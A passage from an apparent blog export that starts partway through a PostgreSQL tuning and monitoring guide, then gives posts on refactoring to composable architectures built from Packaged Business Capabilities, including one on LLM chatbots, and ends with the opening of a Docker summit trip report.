While 'max\_worker\_processes' provides a global limit, 'max\_parallel\_workers' narrows down to the number of worker processes assigned to execute parallel queries.
- **Configuration**: The default setting is optimized for a broad spectrum of workloads. However, if your workload is parallelism-friendly (like large table scans or compute-heavy operations), it might be beneficial to increase this number.
- **Consideration**: Remember that not all tasks benefit from parallelism. Some tasks might even perform slower due to the overhead of coordination between parallel workers.
### Max Parallel Workers Per Gather
This parameter refines parallelism further by setting an upper limit on the number of parallel workers that can be initiated by a single "gather" node during a parallel query.
- **Configuration**: Increasing this might benefit systems with high query complexity and concurrent operations.
- **Consideration**: Adjust in tandem with 'max\_parallel\_workers'. Ensuring there’s harmony between these settings guarantees that no single query hogs all parallel resources.
### Tips for Optimizing Worker Processes
- **Monitor Workload**: Before making significant adjustments, understand your workload. Use tools like `pg_stat_activity` to get a glimpse of concurrent processes.
- **Test and Iterate**: Adjustments to worker processes should be approached iteratively. Make changes, monitor performance, and refine based on observations.
- **Balance with Other System Processes**: PostgreSQL isn't always the sole resident on a server. Ensure that its worker process adjustments don't detrimentally affect other applications.
## Connection Management and Its Importance
Every application that interacts with a PostgreSQL instance does so through a client connection. These connections, while pivotal for database interactions, come with their overhead. Each connection consumes server memory, creates potential contention for system resources, and, if mismanaged, can be a source of performance bottlenecks or even system failures. Especially in large-scale environments, where hundreds or thousands of clients might be trying to connect simultaneously, effective connection management becomes paramount. Here's a deeper dive into its intricacies:
### Understanding Connection Overheads
Each PostgreSQL connection requires both system-level resources (e.g., file descriptors and memory) and database-level resources (like shared memory buffers). As you scale up the number of simultaneous connections, this overhead can start to add up, leading to resource contention and decreased performance.
### Connection Pooling: A Proactive Strategy
One of the most effective strategies for managing a high number of client connections is connection pooling. Connection pooling involves maintaining a cache of database connections. Instead of opening a new connection every time an application wants to talk to the database, it reuses an existing connection from the pool. This drastically reduces the overhead of frequently opening and closing connections.
Popular connection poolers for PostgreSQL include:
- [**pgBouncer**](https://www.pgbouncer.org/?ref=voodootikigod.com): A lightweight, robust, and versatile connection pooler. It supports various pooling modes like session pooling, transaction pooling, and statement pooling.
- [**pgpool-II**](https://www.pgpool.net/mediawiki/index.php/Main_Page?ref=voodootikigod.com): Beyond connection pooling, Pgpool-II offers replication, load balancing, and parallel query functionalities.
### Tuning Connection-Related Parameters
- **Max Connections**: This parameter specifies the maximum number of concurrent connections to the database. It might seem tempting to set a very high value, especially for busy servers. However, more connections mean more memory usage and potential for contention. It's essential to find a balance based on your hardware and workload.
- **Connection Timeout**: This determines how long the server waits for a connection attempt to be completed. Adjusting this can help manage unresponsive clients and prevent unnecessary waiting, conserving resources.
- **Idle\_in\_transaction\_session\_timeout**: It's crucial to be aware of transactions left open indefinitely, as they can hold resources and locks. This setting terminates sessions that are idle in a transaction state beyond the set timeout.
### Monitoring and Alerting
Regularly monitor connection metrics to anticipate and avert potential issues:
- **Number of Active Connections**: A sudden spike might indicate a surge in user activity or a potential denial-of-service attack.
- **Connection Rate**: Rapid fluctuations in the connection rate can hint at issues with applications or scripts connecting to the database.
Utilizing monitoring tools like `pg_stat_activity` can provide valuable insights into current database connections, including details about long-running queries and transactions.
Effective connection management is pivotal for ensuring a responsive and stable PostgreSQL environment. By understanding connection overheads, utilizing pooling solutions, tuning parameters effectively, and maintaining regular monitoring, you can bolster both the performance and reliability of your database setup.
## Maintenance Best Practices
A meticulously maintained PostgreSQL database is akin to a well-oiled machine. To ensure peak performance, it’s essential to conduct periodic maintenance operations. Just as a vehicle requires oil changes and tire rotations, your database benefits from routine checks and optimizations. Here's a closer look at some best practices to maintain the health and performance of your PostgreSQL database.
### Routine Vacuuming
PostgreSQL uses a process called MVCC (Multi-Version Concurrency Control) to handle concurrent transactions. While MVCC ensures that the database remains consistent and allows for high concurrency, it also results in dead rows as old versions of updated rows are retained. Over time, these can accumulate and lead to wasted disk space and reduced performance.
- **AutoVacuum**: PostgreSQL’s AutoVacuum daemon automates the process of cleaning up these dead rows. While it's generally effective, it's essential to monitor and adjust its settings based on your specific workload.
- **Manual Vacuuming**: In cases with exceptionally high transaction rates or large data deletions, you might find it beneficial to run a manual `VACUUM` (or even a more intensive `VACUUM FULL`) operation during off-peak hours.
### Index Rebuilding
Over time, as data is inserted, updated, or deleted, indexes can become fragmented, leading to suboptimal query performance. Periodically rebuilding indexes can improve query speed and system performance.
- **REINDEX**: The `REINDEX` command can be used to recreate one or more indexes. This operation can be resource-intensive, so plan its execution during low-activity periods.
### Database Statistics and ANALYZE
For the PostgreSQL query planner to make informed decisions on the best way to execute queries, it relies on statistics about the distribution and volume of data in your tables. As your data changes, these statistics can become outdated, potentially leading to inefficient query plans.
- **AutoANALYZE**: Much like AutoVacuum, PostgreSQL includes an automatic process to update these statistics. However, for large or heavily-written tables, it can be advantageous to run a manual `ANALYZE`.
### Logical and Physical Backups
It's paramount to have regular backups of your PostgreSQL database.
- **pg\_dump and pg\_dumpall**: Use these tools to take logical backups of your databases. Logical backups consist of SQL statements that recreate the database from scratch.
- **Continuous Archiving**: For physical backups, use the built-in continuous archiving feature to take regular base backups and archive WAL (Write-Ahead Logging) files.
### Database Upgrades and Migration
Staying updated with the latest stable version of PostgreSQL ensures you benefit from performance optimizations, new features, and security patches.
- **pg\_upgrade**: This tool allows in-place upgrades from one version to another, minimizing downtime.
- **Testing**: Before migrating to a newer version, always test the migration process in a staging environment.
Remember, a well-maintained PostgreSQL instance doesn't just run efficiently; it also presents fewer issues and is more resilient in the face of potential problems. Regularly implementing these maintenance practices goes a long way in ensuring the health and longevity of your database environment.
## The Role of Logging and Monitoring
In today's rapidly evolving tech landscape, data isn't just critical – it's the bedrock upon which businesses and applications are built. Ensuring the reliability, availability, and performance of your PostgreSQL database requires more than just routine maintenance. It necessitates an understanding of what's happening under the hood at all times. That's where logging and monitoring come into play.
### Why Logging and Monitoring?
- **Proactive Troubleshooting**: Before users report issues or you notice a system-wide crash, monitoring tools can alert you to unusual patterns or behaviors, allowing for proactive troubleshooting.
- **Performance Tuning**: Logging aids in identifying slow queries, index usage, and other performance bottlenecks. Such insights pave the way for performance optimization.
- **Security**: Monitoring login attempts, role changes, or unusual database activities can help detect and prevent potential security threats.
- **Compliance**: For businesses bound by regulations, logs serve as a vital component for audit trails.
### Configuring PostgreSQL Logging
PostgreSQL offers extensive logging capabilities:
- **Log Statements**: By adjusting the `log_statement` parameter, you can decide which SQL statements to log: none, DDL, DML, or all.
- **Log Duration**: The `log_duration` parameter allows you to log the duration of every completed statement. Combined with `log_statement`, you can capture the duration of specific SQL types.
- **Log Directory and Filename**: Set the directory where the log files will be stored using `log_directory` and customize the naming convention with `log_filename`.
- **Rotation and Retention**: Use `log_rotation_size` and `log_rotation_age` to control log rotation. For retention, set up an external process like `logrotate` or custom scripts to remove old logs.
### Monitoring with Tools and Techniques
Several tools, ranging from open-source to commercial offerings, can significantly enhance your monitoring capabilities:
- **pg\_stat\_statements**: An in-built PostgreSQL module that provides execution statistics of SQL statements, helping in identifying slow and frequent queries.
- **pgAdmin**: Beyond being a comprehensive database management tool, pgAdmin provides dashboards showing real-time data on server performance.
- **pgBadger**: A log analyzer for PostgreSQL, pgBadger provides detailed reports and graphs on your database activity.
- **Datadog, New Relic, and pganalyze**: These SaaS offerings integrate seamlessly with PostgreSQL, providing monitoring, alerting, and performance insights.
- **Prometheus and Grafana**: An open-source combo, where Prometheus scrapes metrics and Grafana visualizes them. With plugins like `postgres_exporter`, you can have a comprehensive PostgreSQL monitoring setup.
### Automated Alerting
Setting thresholds and receiving alerts is crucial:
- **Disk Usage**: Alert on high disk usage to avoid scenarios where the database might run out of space, which could lead to catastrophic failures.
- **High Latency**: Setting alerts for unusually high query durations can help in identifying performance issues early.
- **Connection Limits**: If your database is nearing its maximum connection limit, you should be alerted. This might be an indicator of an application issue or a DDoS attack.
Logging and monitoring should never be mere afterthoughts. They're instrumental in keeping a PostgreSQL instance healthy, optimized, and secure. As you scale, these practices transition from being recommended to being indispensable.
## Available Tools
There are several third-party tools that facilitate in-depth PostgreSQL monitoring:
- [**pgBadger**](https://github.com/darold/pgbadger?ref=voodootikigod.com): Open Source tool that provides log and performance analysis and recommendations from your local machine. Free, but do be aware it is a bit of a hefty memory consumer.
- [**pgTune**](https://pgtune.leopard.in.ua/?ref=voodootikigod.com): An Open Source and online configuration system that can help with better configuration options based on observed/expected performance.
- [**postgresqlTuner**](https://github.com/jfcoz/postgresqltuner?ref=voodootikigod.com): A Perl script that operates on the server instance to give you recommendations through available historical performance data.
- [**pganalyze**](https://pganalyze.com/?ref=voodootikigod.com): Offers a comprehensive overview of your database, highlighting performance metrics and potential issues.
- [**Datadog**](https://www.datadoghq.com/blog/collect-postgresql-data-with-datadog/?ref=voodootikigod.com): Monitors PostgreSQL amongst other services, providing rich metrics and integrations.
- [**New Relic**](https://docs.newrelic.com/docs/infrastructure/host-integrations/host-integrations-list/postgresql/postgresql-integration/?ref=voodootikigod.com): Specializes in application performance monitoring, including PostgreSQL.
Optimizing PostgreSQL is as much art as it is science and as such many of these tools can and should be used in combination. Regularly reviewing, testing, and adapting configurations in response to evolving workloads and requirements ensures your database operates at its zenith.
# Conclusion
In the realm of software development, it's a common adage that the most powerful tools are also the most complex. PostgreSQL, with its rich feature set and intricate mechanics, is no exception. For application and service developers, delving into its depths can sometimes feel like charting unexplored territories. But as with any expedition, the rewards justify the journey.
Throughout this deep dive, we've unraveled the intricacies of PostgreSQL, demystifying its architecture, its performance capabilities, and its potential pitfalls. Our aim has been to bridge the gap between application development and database administration, empowering you with the insights to harness the full might of this formidable database system.
But remember, the world of databases is as dynamic as the data they hold. New features, best practices, and technologies are continuously emerging. Therefore, consider this guide as your foundational primer—a stepping stone to ongoing exploration and learning.
As you navigate the challenges and opportunities presented by your applications, always remember the importance of the database that powers them. Fine-tuned, monitored, and understood, PostgreSQL has the potential to elevate your software solutions to unparalleled heights, but also, if used incorrectly, to lead to many long nights, gnashing of teeth, and fits of rage and anger.
Here's to creating data-driven applications that are not only efficient and reliable, but also stand the test of scalability and time.
## Recap and Key Takeaways
The intricate mechanics of PostgreSQL, one of the world's leading open-source relational databases, often goes unnoticed by many application developers. Yet, the performance, reliability, and scalability of a system hinge on these very mechanics. As we draw our deep dive to a close, let's review the critical insights and lessons we've garnered:
1. **PostgreSQL's Popularity and Capabilities**: We began by understanding the broad appeal of PostgreSQL. Its open-source nature, extensibility, and robust feature set make it a preferred choice for businesses of all scales.
2. **Underlying Architecture**: At PostgreSQL's heart lies a sound architectural foundation, encompassing processes, memory, and the Write-Ahead Logging system. This architecture ensures data integrity, even in the face of adversity.
3. **Transaction IDs and Their Implications**: The 32-bit Transaction ID in PostgreSQL is both an asset and a challenge. While pivotal for concurrency and MVCC, it requires vigilance to prevent wraparound issues.
4. **Partitioning and Performance**: PostgreSQL offers advanced partitioning techniques, transitioning from table inheritance to the more modern declarative partitioning. These methods help manage vast datasets effectively, enhancing query performance.
5. **Parallel Processing**: The database harnesses the power of multi-core systems by parallelizing certain query operations, such as sequential scans, joins, and aggregates, offering considerable speed-ups for large datasets.
6. **Fine-Tuning for Peak Performance**: Beyond its out-of-the-box capabilities, PostgreSQL's true prowess shines when optimally tuned. From memory adjustments and worker processes to connection management and regular maintenance, a myriad of tweaks ensures the database operates at its zenith.
7. **Capacity Planning and Scalability**: As businesses evolve, so do their data demands. A proactive approach to capacity planning, coupled with a deep understanding of scalability options, ensures PostgreSQL remains responsive and resilient.
8. **The Value of Monitoring**: Consistent, insightful monitoring isn't just a nice-to-have; it's integral. Tools and techniques tailored for PostgreSQL can preempt issues, optimize performance, and offer invaluable insights.
Understanding a tool is the first step towards mastering it. With the knowledge acquired, developers and administrators are better equipped to leverage PostgreSQL's full potential, ensuring applications are both performant and reliable. As you venture forward, let the principles and practices outlined serve as your compass, guiding you to database excellence.
## The Future of PostgreSQL Optimization
The evolution of PostgreSQL over the past decades paints a vivid picture of relentless improvement, adaptability, and innovation. As with all technology, understanding where we're headed requires a look at where we've been and an awareness of current challenges. So, what does the future hold for PostgreSQL optimization? Let's explore the horizon.
**Emergence of Machine Learning and AI in Optimization**: With the rapid growth of artificial intelligence and machine learning, there's increasing interest in incorporating these technologies into database management systems. We might soon witness PostgreSQL integrations where the database auto-tunes itself based on past usage, real-time traffic, and prediction of future queries.
**Integrated Performance Analysis Tools**: Future iterations of PostgreSQL might come with built-in, advanced performance analysis tools. These would allow for real-time diagnosis of issues, enhanced visualization of database performance metrics, and better anomaly detection.
**Enhanced Horizontal Scalability**: While PostgreSQL has made strides in scalability with features like partitioning and parallel processing, there's always room for improvement. Efforts are ongoing to make PostgreSQL even more horizontally scalable, reducing the need for third-party solutions or migrations to distributed database systems.
**Optimized Storage Engines**: Storage is a foundational aspect of any database system. As hardware technology evolves, we can anticipate PostgreSQL introducing more optimized storage engines that can handle faster I/O operations, offer better compression rates, and integrate seamlessly with modern storage solutions like NVMe SSDs.
**Collaborative Open Source Development**: One of PostgreSQL's greatest strengths is its robust open-source community. As more minds collaborate, we can expect a plethora of plugins, extensions, and core improvements that address optimization from multiple angles.
**Energy-Efficient Operations**: With global shifts towards sustainability and green technology, future PostgreSQL optimizations may not just focus on speed and performance, but also on energy efficiency—ensuring that databases consume the least amount of power for the maximum amount of work.
**Integration with Emerging Technologies**: As new technologies such as quantum computing, edge computing, and advanced neural networks become more mainstream, PostgreSQL will likely find ways to integrate with them for enhanced performance and capabilities.
In conclusion, the future of PostgreSQL optimization is as much about embracing new technological frontiers as it is about refining existing features. As developers and database administrators, staying abreast of these changes will be key. The world of PostgreSQL is dynamic, and its future promises to be both exciting and transformative.
# Let's Make This Real For You
If you're looking to explore how these concepts and technologies can be applied to your organization, reach out to [Chris Williams](mailto:chris@voodootikigod.com), the maker of improbable things and author of this article. Chris can provide the insights and expertise you need to turn the improbable into the achievable and propel your organization into the future.
---
# Refactoring Towards a Composable Architecture: A Technical Perspective
Published: 2023-08-03T09:26:10.000-04:00
Updated: 2023-08-03T09:26:10.000-04:00
Source: https://www.voodootikigod.com/refactoring-towards-a-composable-architecture-a-technical-perspective
> As digital transformation accelerates, modern organizations are seeking flexible, scalable, and efficient approaches to software development. Composable architectures, built on Packaged Business Capabilities (PBCs), offer a compelling alternative to traditional development methods. This deep technic...
As digital transformation accelerates, modern organizations are seeking flexible, scalable, and efficient approaches to software development. Composable architectures, built on Packaged Business Capabilities (PBCs), offer a compelling alternative to traditional development methods. This deep technical dive is intended for seasoned developers and IT professionals who are interested in how to refactor towards a composable architecture.
## What Are Composable Architectures?
As digital environments evolve, so too must the architecture that supports them. One such evolution is the rise of composable architectures. This maturation of the microservices and serverless architectures that initially displaced monolithic applications allows us to bundle similar services into headless components that can be deployed rapidly and efficiently.
Composable architectures leverage Packaged Business Capabilities (PBCs) - self-contained business functionalities that can be used, reused, and interchanged based on an organization's dynamic needs. The fundamental principle is creating these PBCs in a modular, decoupled way, enabling businesses to assemble, disassemble, and reassemble their digital ecosystems at will.
## The Power of Composable Architectures
Composable architectures facilitate the rapid development of business systems with interchangeable components, enabling organizations to adapt to changes in the business environment swiftly and at a lower cost. In essence, the core of this approach is to split monolithic systems into independent components or modules that can be deployed and operated separately.
The real power of PBCs in composable architectures can already be seen today with tremendous success in the retail and e-commerce market, reducing complexity, increasing personalization, and reducing license maintenance costs. For a further analysis, please see the [original article explaining Composable Architectures](https://www.voodootikigod.com/composable-architectures-powering-digital-transformation/) and go a step further to explore [how Composable Architectures accelerate chatbots within the enterprise](https://www.voodootikigod.com/supercharging-chatbots-the-role-of-composable-architectures-in-large-language-models/).
## Navigating the Transition
While the move towards composable architecture is filled with promises of increased speed, flexibility, and scalability, transitioning from monolithic applications is not without its challenges. It requires a deep understanding of your business requirements, existing architecture, and a roadmap for implementation.
Let me repeat, **it requires a deep understanding of your business requirements**. This is absolutely the single most important precursor to any transition or transformation. If you do not firmly and deeply understand the target, desired state then it is impossible to know what will best align with those goals. You will end up building or refactoring something that at best won't be used at worst negatievly impact your overall business. So it bears reiterating - take the time to understand, deeply, what the actual business need is before making any decision, composable or otherwise.
### Key Considerations in the Transition
💡
It is absolutely critical to survey and evaluate existing headless platform options before attempting to build it yourself.
As you embark on this transformative journey, here are ten key considerations to guide your path:
1. **Understanding Business Needs**: Understand your business requirements and processes thoroughly. Composable architecture is all about aligning technology with business capabilities. This alignment will help you decide what components should be packaged and exposed as services.
2. **Assess Current Architecture**: Perform an assessment of your existing system. Identify its strengths, weaknesses, and areas of complexity that could benefit from a composable architecture. Identify the components that can be isolated and made into microservices.
3. **Granularity of Services**: Finding the right size for your services is essential. Too coarse, and you lose many of the benefits of a composable architecture; too fine, and you risk creating a distributed monolith with high inter-service communication overhead.
4. **Data Management**: In a monolithic application, data is often centralized and accessed through a single database. In a composable architecture, each service typically manages its own data, requiring a shift in how data is stored, accessed, and managed.
5. **Inter-Service Communication**: Composable architectures rely heavily on inter-service communication. It's crucial to decide on a communication protocol (like REST, gRPC, or GraphQL) and consider how services will discover and interact with each other.
6. **Service Coordination**: In a distributed system, coordinating changes across multiple services can be challenging. You'll need to implement patterns for distributed transactions and consider how to handle eventual consistency.
7. **Testing Strategy**: Testing becomes more complex in a distributed system. You will need to design a robust testing strategy that includes unit testing, integration testing, and end-to-end testing.
8. **Monitoring and Observability**: With many moving parts, it becomes essential to implement comprehensive monitoring and observability to understand system health and behavior.
9. **Deployment and DevOps**: Adopting a composable architecture means more frequent deployments, so it's crucial to have robust DevOps practices, including automated deployments and continuous integration/continuous deployment (CI/CD).
10. **Cultural Shift**: This is more than a technical transition. It requires a shift in mindset from large, project-based development to smaller, more frequent updates and deployments. Building a culture that embraces this change is crucial to your success.
## The Future is Composable, So Leverage It
The MACH Alliance, a global community of tech companies advocating for open, best-of-breed technology ecosystems, is paving the way for a future where composable architectures will be the norm. As organizations prepare for a future dominated by composable architectures, the key question is: are you ready for the transformation?
Traditionally slower markets entrenched in monolithic applications like the public sector are ripe for disruption by the composable revolution. The momentum of composable architectures is already palpable, and the trend is only going to accelerate. It is absolutely critical to survey and evaluate existing headless platform options before attempting to build it yourself. Shuffling off the Not-Invented-Here (NIH) Syndrome allows organizations to rapidly develop and deploy full solutions that continue to evolve even beyond their own engineering teams, leveraging the full capability of the open source and commercial communities.
## Refactoring to Composable Architecture: A Technical Example
To better understand how to refactor towards a composable architecture, let's look at a code example of a simple API built using [Node.js](https://nodejs.org/en?ref=voodootikigod.com) with [Fastify](https://fastify.dev/?ref=voodootikigod.com), a high-speed web framework, and [Node-EventStore](https://github.com/thenativeweb/node-eventstore?ref=voodootikigod.com), a Node.js event store implementation with a focus on [Domain-Driven Design (DDD)](https://medium.com/microtica/the-concept-of-domain-driven-design-explained-3184c0fd7c3f?ref=voodootikigod.com) and [Event Sourcing](https://www.bitovi.com/blog/implementing-event-sourcing-cqrs-in-node.js?ref=voodootikigod.com).
### Refactoring towards Packaged Business Capabilities (PBCs)
After surveying the available headless options that may align to your required PBCs and finding none that fit, it will be necessary to refactor or net-new build those PBCs fit for your purposes. To accomplish this effort, you will need to extracting existing logic into separate but logically co-located services - this serves as the basis for internal PCBs. Each PBC will likely have its own codebase (you could monorepo, but it is not recommended) and will run on its own server or container and therefore should have similar, if not exact, scale, security, and operating parameters. Due to this, find the natural business "fault lines" within your application systems be it based on how the system is used (frequency analysis, etc.) or how it is assembled (where Object Oriented Program once shined). With these fault lines, begin to section them off into first logical PBCs within the existing code base and eventually transitioning them to physically separate composable elements interacting with the code base via API calls or event sourcing.
### SLO-Fast Transformation
In the early adopter phase of "Digital Transformation", teams would immediately saddle up and start rewriting, refactoring, and.... well unfortunately most times they would miss the mark and/or deliver way past the timeline and budget, if at all. This sad state of affairs is generally due to a lack of understanding the objectives for the service. It is for this reason that Service Level Objectives (SLOs) have rapidly become no longer an instrument of the operations team, but an incredible driving force within the development and refactoring space. Similar to the rise in code quality that is generally associated when teams adopt a Test / Behavior Driven Development philosophy, so to do SLOs drive quality and success in refactoring projects. The [OpenSLO Language](https://openslo.com/?ref=voodootikigod.com) provides a declarative way to describe the objectives that existing services have, enabling teams to understand the operational requirements and build against a test harness in the SLO itself.
In practice, defining the SLOs for each natural business fault line allows teams to rapidly and accurately target and drive change with minimal disruption. Furthermore, it accelerates the Mean Time To Recovery (MTTR) of not just the focused PBC, but all of the PBCs, formed and unformed, that rely and interconnection, directly and indirectly, to it. This provides an incredibly powerful insight as to what changed and what was impacted throughout the transformation from monolith to composable architecture, while also ensuring operational parameters are demonstrably satisfied or improved.
### Refactor Doesn't Always Mean Rewrite
In the great hype of new technologies, there is often a critical element missed which is the **value of production time**. Just because there are new programming languages that sport potentially faster or nicer development experiences does not automatically mean they will magically be better for every situation. In fact, more times than not, going down the path of _transformation means rewrite_ trends towards a never-ending spiral of incomplete or misaligned implementations that are worse than the original, despite all of it unsightly parts. This happens due to a lack of appreciation for the **value of production time**, which is to say that the longer a system has been in production is directly correlated to the validation level that it is approaching accuracy in the service it provides. Note this doesn't guarantee accuracy of the service, but it does imbue that if the service has been in play for an extended period of time, for better or worse, the ecosystem around it has made it work and thereby the overall accuracy is "dependable". The quotes around dependable are because the result may not be ideal or completely accurate, but it is dependably the result that is provided, which means that systems that rely on that response, both directly and indirectly, will have built transforms that make it accurate to their means and because of this, rewrites - even if to make more accurate - often trend toward broken systems.
## Conclusion
Transitioning to a composable architecture is not a trivial task. It requires careful planning, significant refactoring, but not necessarily rewriting, and a commitment to continuous learning and improvement with SLOs as guardrails. However, the benefits — enhanced scalability, flexibility, and speed of development — make the transition worthwhile. As the digital world continues to evolve, the ability to compose and recompose software quickly and efficiently will be a key competitive advantage.
Remember that moving towards a composable architecture isn't just about technology - it's also about changing the mindset and culture of your organization. Be prepared for challenges, but remember the potential rewards are worth it.
## Let's Make This Real For You
If you're looking to explore how these concepts and technologies can be applied to your organization, reach out to [Chris Williams](mailto:chris@voodootikigod.com), the maker of improbable things and author of this article. Chris can provide the insights and expertise you need to turn the improbable into the achievable and propel your organization into the future.
---
# Supercharging Chatbots: The Role of Composable Architectures in Large Language Models
Published: 2023-07-24T16:28:29.000-04:00
Updated: 2023-07-24T16:28:29.000-04:00
Tags: composable-architecture, digital-transformation, llm, gpt
Source: https://www.voodootikigod.com/supercharging-chatbots-the-role-of-composable-architectures-in-large-language-models
> Explore the intersection of composable architectures and large language models, like ChatGPT. See how the modularity of these architectures supercharges chatbots, fostering adaptability and efficiency in various sectors.
## Introduction
In my [previous article](composable-architectures-powering-digital-transformation), we delved into the transformative impact of composable architectures and Packaged Business Capabilities (PBCs) on the digital landscape. This paradigm shift has been particularly impactful on the rapidly expanding market for large language models (LLMs) and chatbots, such as ChatGPT. Today, we explore how composable architectures are accelerating and enhancing the evolution of these advanced AI models.
## The Rise of LLMs and Chatbots
Large language models and chatbots are revolutionizing various sectors, from customer service and e-commerce to healthcare and education. They are increasingly relied upon for tasks such as answering customer inquiries, providing personalized recommendations, or even teaching new languages. For instance, OpenAI's ChatGPT is currently utilized in a myriad of sectors, providing invaluable automation and efficiency.
## What is a Composable Architecture?
As a brief recap, composable architectures allow businesses to construct digital solutions from individual, interchangeable components known as Packaged Business Capabilities (PBCs). This approach fosters agility, scalability, and maintainability, offering a competitive edge in today's digital landscape. For a more comprehensive understanding of composable architectures, refer to [my previous article](composable-architectures-powering-digital-transformation).
## The Intersection of Composable Architectures and LLMs
Applying the principles of composable architectures to large language models like ChatGPT allows these complex AI systems to be broken down into modular, manageable components. This modularity can make LLMs more accessible, adaptable, and powerful across different applications. Furthermore, PBCs can enable organizations to seamlessly integrate LLMs into their existing architectures, thereby harnessing the power of AI more effectively and efficiently.
## Case Study: Composable Architecture in Action
Consider a multinational corporation looking to implement an AI chatbot for multilingual customer support. With a traditional approach, developing such a system would be both time-consuming and expensive. However, by leveraging a composable architecture, the company could integrate pre-built PBCs (like a translation module or a sentiment analysis module) with an LLM like ChatGPT. This would not only expedite the deployment but also enhance the chatbot's functionality and adaptability, proving the transformative potential of composable architectures in the realm of AI.
## The Future of LLMs with Composable Architectures
As more organizations embrace composable architectures, the potential for growth and innovation in the large language models market is immense. With the flexibility to mix and match PBCs, businesses can tailor their LLMs and chatbots to meet specific needs, fostering greater personalization and effectiveness. Moreover, the ease of updating or replacing individual components ensures these AI models remain at the cutting edge of technology.
## Conclusion
In the era of rapid digital transformation, the fusion of composable architectures and large language models represents a compelling frontier. By harnessing the flexibility and scalability offered by PBCs, businesses can maximize the benefits of AI-powered chatbots and position themselves at the forefront of their respective industries. As we continue to navigate the digital revolution, the question is not if, but how we will employ these groundbreaking technologies to drive future growth and innovation.
## Let's Make This Real For You
If you're looking to explore how these concepts and technologies can be applied to your organization, reach out to [Chris Williams](mailto:chris@voodootikigod.com), the maker of improbable things and author of this article. Chris can provide the insights and expertise you need to turn the improbable into the achievable and propel your organization into the future.
---
# Composable Architectures: Harnessing Packaged Business Capabilities for Agile Digital Solutions
Published: 2023-07-19T09:00:35.000-04:00
Updated: 2023-07-19T10:37:53.000-04:00
Tags: composable-architecture, mach, it, digital-transformation
Source: https://www.voodootikigod.com/composable-architectures-powering-digital-transformation
> Composable architectures, underpinned by Packaged Business Capabilities (PBCs), mark a transformative shift in digital solutions, offering agility, scalability, and maintainability. This shift isn't just disrupting e-commerce, it's set to redefine all sectors, including the public one.
## Introduction
In the continuously evolving technological landscape, composable architectures stand at the forefront as the mature evolution of microservices and serverless environments. These architectures, leveraging the concept of Packaged Business Capabilities (PBCs), represent a major shift in how we construct digital systems, providing organizations with more agility, scalability, and maintainability.
## The Rise of Packaged Business Capabilities in Composable Architectures
Emerging from the fragmented world of microservices, composable architectures have brought a new level of cohesion and streamlined functionality by integrating PBCs. PBCs are independent business functionalities that can be bundled together to build complex systems. They provide the building blocks of composable architectures, with each PBC representing a modular, reusable, and stand-alone component that can be integrated with other components as needed.
PBCs have proliferated due to the wider adoption of headless components such as Contact Relationship Management (CRM), Content Management Systems (CMS), and headless e-commerce platforms. The rise of PBCs is reshaping the digital landscape, making digital transformation more efficient and manageable.
## The Composable Advantage
Composable architectures using PBCs offer several compelling advantages. Unlike traditional monolithic systems, composable architectures rely on best-of-breed components, each serving as a PBC that can be maintained and improved independently. These PBCs can be combined in various ways to create systems that are tailored to specific business needs. Moreover, PBCs can be updated or replaced as newer or competitive solutions emerge, ensuring your systems are adaptable and future-proof.
## Packaged Business Capabilities in Action
The real power of PBCs in composable architectures can already be seen today with tremendous success in the retail and e-commerce market, which is rapidly adopting this model to reduce complexity, increase personalization, and reduce license maintenance cost. Using PBCs like a headless CMS, a CRM, and a headless e-commerce component, these sectors have been able to assemble comprehensive solutions faster and more efficiently than traditional approaches.
## The Future is Composable
As we look towards the future, PBCs are poised to become not just a cornerstone in the evolution of digital services, but also a force of disruption in the industry. This is reflected in the vision of industry groups such as the [MACH Alliance](https://machalliance.org/?ref=voodootikigod.com), which promotes the use of Microservices, API-first, Cloud-native SaaS, and Headless [(MACH) technologies](https://machalliance.org/mach-technology?ref=voodootikigod.com) - principles that are inherently part of the composable architecture.
Traditional service providers and systems integrators face an inflection point: embrace composable architectures or risk being sidelined by the unprecedented speed and agility they provide. For organizations that adopt these approaches, they will be able to deliver solutions faster, scale more effectively, and maintain systems more efficiently. The future of digital solutions is not just composable - it is transformative, heralding a new era of technological empowerment and competitive advantage.
For business leaders in the digital age, the message is clear: embracing composable architectures and understanding the power of PBCs isn't just advantageous, it's critical. If you're ready to explore how these concepts can be effectively implemented within your organization, we invite you to reach out and start the conversation.
## The Expansion of Composable Architectures
While the success of composable architectures is readily apparent in the retail and e-commerce sectors, the impact of these architectures is starting to ripple out to other industries as well. One key area where this trend is emerging is within traditionally slower markets still largely entrenched in monolithic applications - particularly the public sector.
Government organizations, for instance, are beginning to recognize the advantages of composable architectures. Faced with the dire need for digital transformation, these entities are turning to the agility, scalability, and maintainability offered by composable architectures. The ability to compose systems from PBCs - replacing, updating, or modifying individual components as needed - can be a game-changer for these institutions. This modular approach to system design enables a level of flexibility that monolithic architectures simply can't match. Even further, there is a focus around open source enablement and engagement for these components that allows other governments to embrace, collaborate, and immediately benefit from the PBCs. For more details, definitely check out the global effort to achieve the UN Sustainable Development goals with [GovStack](https://www.govstack.global/?ref=voodootikigod.com).
Moreover, the utilization of PBCs in composable architectures facilitates a more efficient utilization of resources. By employing best-of-breed components, organizations can achieve superior outcomes without needing to build and maintain every system component internally. This advantage becomes even more compelling when we consider sectors like healthcare and education, where resources can be critically constrained.
Education technology, often characterized by a myriad of isolated systems, presents another area ripe for the benefits of composable architectures. By leveraging PBCs, institutions can create more seamless, integrated environments that enhance both teaching and learning experiences.
In essence, the success of composable architectures in the retail and e-commerce space is not an isolated phenomenon. It's a leading indicator of a broader shift in the digital landscape. As more sectors begin to embrace these architectures, we can expect to see a widespread evolution in how digital solutions are designed and implemented. The future of composable architectures is not confined to a single industry; it's a paradigm shift that will reshape the entire digital ecosystem.
## Conclusion
The rise of composable architectures, underpinned by the power of Packaged Business Capabilities, signifies a transformative shift in digital solution design. The challenge isn't just whether composable architectures will dominate the digital landscape, but how swiftly your organization can adapt and thrive in this new paradigm.
## Let's Make This Real For You
If you're looking to explore how these concepts and technologies can be applied to your organization, reach out to [Chris Williams](mailto:chris@voodootikigod.com), the maker of improbable things and author of this article. Chris can provide the insights and expertise you need to turn the improbable into the achievable and propel your organization into the future.
---
# Trip Notes: Docker Distributed Systems Summit
Published: 2016-10-28T16:40:00.000-04:00
Updated: 2023-07-18T16:40:58.000-04:00
Source: https://www.voodootikigod.com/trip-notes-docker-distributed-systems-summit
> At the beginning of October 2016, I had the distinct pleasure of attending the first ever Docker Distributed System Summit [https://blog.docker.com/2016/10/docker-distributed-system-summit-videos-podcast-episodes/] in Berlin, Germany. It was an incredible event that was attended by roughly 125 peop...
